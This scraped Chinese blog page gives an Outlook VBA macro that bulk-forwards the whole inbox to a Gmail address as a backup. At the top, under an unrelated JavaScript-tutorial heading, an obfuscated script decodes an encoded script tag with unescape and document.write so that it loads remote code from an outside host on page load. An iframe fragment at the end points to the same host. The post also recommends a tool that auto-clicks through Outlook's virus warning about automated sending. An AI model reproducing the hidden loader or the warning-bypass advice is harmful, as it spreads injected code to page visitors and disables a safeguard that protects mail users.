HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
OUTLOOK+VBA 备份邮件到GMAIL
GML用起来不方便,还是在OUTLOOK写个脚本,通过批量转发邮件, 把邮件备份到GMAIL上。
代码
Public Sub FwdToGmail()
Dim objApp As Outlook.Application
Dim objNameSpace As Outlook.NameSpace
Dim objMAPIFolder As Outlook.MAPIFolder
Dim objMailItem As Outlook.MailItem
Dim objFwdItem As Outlook.MailItem
Set objApp = New Outlook.Application
Set objNameSpace = objApp.GetNamespace(Type:="MAPI")
Set objMAPIFolder = _
objNameSpace.GetDefaultFolder(FolderType:=olFolderInbox)
For Each objMailItem In objMAPIFolder.Items
Set objFwdItem = objMailItem.Forward
objFwdItem.Recipients.Add (
yourname@gmail.com
)
objFwdItem.Send
Next objMailItem
End Sub
提示
运行这个脚本,可能会反复弹出对话框,很烦人。这个对话框的内容是,“有一个程序正试图以您的名义自动发送电子邮件。是否允许该操作?如果对此感觉意外,这可能是由于病毒导致,您应选择'否'”。临时解决方案:使用clickyes(
http://www.contextmagic.com/express-clickyes/
)。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">